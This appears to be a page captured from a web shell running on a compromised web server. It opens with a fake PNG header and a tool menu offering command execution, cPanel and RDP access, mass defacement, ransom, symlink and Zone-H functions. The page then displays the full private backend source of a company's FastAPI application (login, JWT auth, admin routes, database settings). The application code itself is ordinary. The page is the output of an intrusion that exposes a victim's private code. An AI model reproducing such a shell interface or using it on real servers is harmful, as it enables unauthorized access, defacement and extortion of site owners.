\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/infraai.ai/backend/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/infraai.ai/backend/server.py |
from dotenv import load_dotenv
from pathlib import Path
ROOT_DIR = Path(__file__).parent
load_dotenv(ROOT_DIR / '.env')
import os
import uuid
import logging
import time
from collections import defaultdict
import bcrypt
import jwt
from datetime import datetime, timezone, timedelta
from typing import List, Optional
from fastapi import FastAPI, APIRouter, Depends, HTTPException, Request, Response, status
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
from starlette.middleware.cors import CORSMiddleware
from starlette.middleware.base import BaseHTTPMiddleware
from motor.motor_asyncio import AsyncIOMotorClient
from pydantic import BaseModel, Field, EmailStr, ConfigDict
# ----- DB -----
mongo_url = os.environ['MONGO_URL']
client = AsyncIOMotorClient(mongo_url)
db = client[os.environ['DB_NAME']]
JWT_SECRET = os.environ['JWT_SECRET']
JWT_ALGORITHM = "HS256"
ACCESS_TOKEN_HOURS = 12
COOKIE_NAME = "infraai_token"
COOKIE_MAX_AGE = ACCESS_TOKEN_HOURS * 3600
def _is_production() -> bool:
return os.environ.get("ENVIRONMENT", "development").lower() == "production"
# ---------- Rate limiters (in-memory, no extra deps) ----------
# Login: 5 attempts per IP per 60 seconds
_login_attempts: dict = defaultdict(list)
RATE_LIMIT_MAX = 5
RATE_LIMIT_WINDOW = 60
# Demo-request form: 3 submissions per IP per 5 minutes
_demo_attempts: dict = defaultdict(list)
DEMO_RATE_LIMIT_MAX = 3
DEMO_RATE_LIMIT_WINDOW = 300
def _check_rate_limit(ip: str) -> bool:
now = time.monotonic()
window = [t for t in _login_attempts[ip] if now - t < RATE_LIMIT_WINDOW]
_login_attempts[ip] = window
if len(window) >= RATE_LIMIT_MAX:
return False
_login_attempts[ip].append(now)
return True
def _check_demo_rate_limit(ip: str) -> bool:
now = time.monotonic()
window = [t for t in _demo_attempts[ip] if now - t < DEMO_RATE_LIMIT_WINDOW]
_demo_attempts[ip] = window
if len(window) >= DEMO_RATE_LIMIT_MAX:
return False
_demo_attempts[ip].append(now)
return True
# ---------- Security headers middleware ----------
class SecurityHeadersMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
response = await call_next(request)
response.headers["X-Content-Type-Options"] = "nosniff"
response.headers["X-Frame-Options"] = "DENY"
response.headers["X-XSS-Protection"] = "1; mode=block"
response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
response.headers["Permissions-Policy"] = "camera=(), microphone=(), geolocation=()"
if _is_production():
response.headers["Strict-Transport-Security"] = (
"max-age=63072000; includeSubDomains; preload"
)
return response
# ----- App -----
app = FastAPI(title="InfraAI API")
app.add_middleware(SecurityHeadersMiddleware)
api = APIRouter(prefix="/api")
security = HTTPBearer(auto_error=False)
# ----- Models -----
class DemoRequestCreate(BaseModel):
name: str = Field(..., min_length=1, max_length=120)
company: str = Field(..., min_length=1, max_length=160)
email: EmailStr
phone: Optional[str] = Field(None, max_length=40)
intent: str = Field(..., max_length=80)
message: Optional[str] = Field(None, max_length=2000)
class DemoRequest(BaseModel):
model_config = ConfigDict(extra="ignore")
id: str = Field(default_factory=lambda: str(uuid.uuid4()))
name: str
company: str
email: str
phone: Optional[str] = None
intent: str
message: Optional[str] = None
status: str = "new" # new | contacted | archived
created_at: str = Field(default_factory=lambda: datetime.now(timezone.utc).isoformat())
class LoginInput(BaseModel):
email: EmailStr
password: str
class LoginResponse(BaseModel):
email: str
class StatusUpdate(BaseModel):
status: str
# ----- Auth helpers -----
def hash_password(pwd: str) -> str:
return bcrypt.hashpw(pwd.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")
def verify_password(pwd: str, hashed: str) -> bool:
try:
return bcrypt.checkpw(pwd.encode("utf-8"), hashed.encode("utf-8"))
except Exception:
return False
def create_access_token(email: str) -> str:
payload = {
"sub": email,
"role": "admin",
"exp": datetime.now(timezone.utc) + timedelta(hours=ACCESS_TOKEN_HOURS),
"type": "access",
}
return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
async def get_current_admin(
request: Request,
credentials: Optional[HTTPAuthorizationCredentials] = Depends(security),
) -> dict:
# Prefer httpOnly cookie; fall back to Bearer for backward-compat
token = request.cookies.get(COOKIE_NAME)
if not token and credentials and credentials.credentials:
token = credentials.credentials
if not token:
raise HTTPException(status_code=401, detail="Not authenticated")
try:
payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])
if payload.get("type") != "access" or payload.get("role") != "admin":
raise HTTPException(status_code=401, detail="Invalid token")
user = await db.admins.find_one({"email": payload["sub"]}, {"_id": 0, "password_hash": 0})
if not user:
raise HTTPException(status_code=401, detail="Admin not found")
return user
except jwt.ExpiredSignatureError:
raise HTTPException(status_code=401, detail="Token expired")
except jwt.InvalidTokenError:
raise HTTPException(status_code=401, detail="Invalid token")
# ----- Startup: seed admin + indexes -----
async def seed_admin():
admin_email = os.environ["ADMIN_EMAIL"].lower().strip()
admin_password = os.environ["ADMIN_PASSWORD"]
existing = await db.admins.find_one({"email": admin_email})
if existing is None:
await db.admins.insert_one({
"email": admin_email,
"password_hash": hash_password(admin_password),
"created_at": datetime.now(timezone.utc).isoformat(),
})
logging.info("Seeded admin user")
else:
if not verify_password(admin_password, existing.get("password_hash", "")):
await db.admins.update_one(
{"email": admin_email},
{"$set": {"password_hash": hash_password(admin_password)}},
)
logging.info("Updated admin password from env")
@app.on_event("startup")
async def on_startup():
await db.admins.create_index("email", unique=True)
await db.demo_requests.create_index("created_at")
await seed_admin()
@app.on_event("shutdown")
async def on_shutdown():
client.close()
# ----- Public routes -----
@api.get("/health")
async def health():
return {"status": "ok", "service": "infraai"}
@api.post("/demo-request", response_model=DemoRequest, status_code=201)
async def create_demo_request(payload: DemoRequestCreate, request: Request):
client_ip = request.client.host if request.client else "unknown"
if not _check_demo_rate_limit(client_ip):
raise HTTPException(
status_code=429,
detail="Too many requests. Please wait a few minutes.",
)
obj = DemoRequest(**payload.model_dump())
await db.demo_requests.insert_one(obj.model_dump())
return obj
# ----- Admin routes -----
@api.post("/admin/login", response_model=LoginResponse)
async def admin_login(payload: LoginInput, request: Request, response: Response):
client_ip = request.client.host if request.client else "unknown"
if not _check_rate_limit(client_ip):
raise HTTPException(
status_code=429,
detail="Too many login attempts. Please wait 60 seconds.",
)
email = payload.email.lower().strip()
user = await db.admins.find_one({"email": email})
if not user or not verify_password(payload.password, user.get("password_hash", "")):
raise HTTPException(status_code=401, detail="Invalid credentials")
token = create_access_token(email)
# Set httpOnly cookie — not accessible via document.cookie / XSS
response.set_cookie(
key=COOKIE_NAME,
value=token,
httponly=True,
samesite="lax",
max_age=COOKIE_MAX_AGE,
path="/",
secure=_is_production(), # True only over HTTPS in production
)
return LoginResponse(email=email)
@api.post("/admin/logout")
async def admin_logout(response: Response):
response.delete_cookie(key=COOKIE_NAME, path="/")
return {"ok": True}
@api.get("/admin/me")
async def admin_me(current: dict = Depends(get_current_admin)):
return current
@api.get("/admin/requests", response_model=List[DemoRequest])
async def list_requests(current: dict = Depends(get_current_admin)):
docs = await db.demo_requests.find({}, {"_id": 0}).sort("created_at", -1).to_list(2000)
return docs
@api.patch("/admin/requests/{req_id}", response_model=DemoRequest)
async def update_request(req_id: str, payload: StatusUpdate, current: dict = Depends(get_current_admin)):
if payload.status not in {"new", "contacted", "archived"}:
raise HTTPException(status_code=400, detail="Invalid status")
res = await db.demo_requests.find_one_and_update(
{"id": req_id},
{"$set": {"status": payload.status}},
return_document=True,
projection={"_id": 0},
)
if not res:
raise HTTPException(status_code=404, detail="Not found")
return res
@api.delete("/admin/requests/{req_id}")
async def delete_request(req_id: str, current: dict = Depends(get_current_admin)):
res = await db.demo_requests.delete_one({"id": req_id})
if res.deleted_count == 0:
raise HTTPException(status_code=404, detail="Not found")
return {"ok": True}
app.include_router(api)
# CORS: explicit origins only — credentials require non-wildcard list
_raw_origins = os.environ.get("CORS_ORIGINS", "http://localhost:3000,http://localhost:3001")
_allowed_origins = [o.strip() for o in _raw_origins.split(",") if o.strip()]
app.add_middleware(
CORSMiddleware,
allow_credentials=True,
allow_origins=_allowed_origins,
allow_methods=["GET", "POST", "PATCH", "DELETE", "OPTIONS"],
allow_headers=["Content-Type", "Authorization"],
)
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(name)s: %(message)s")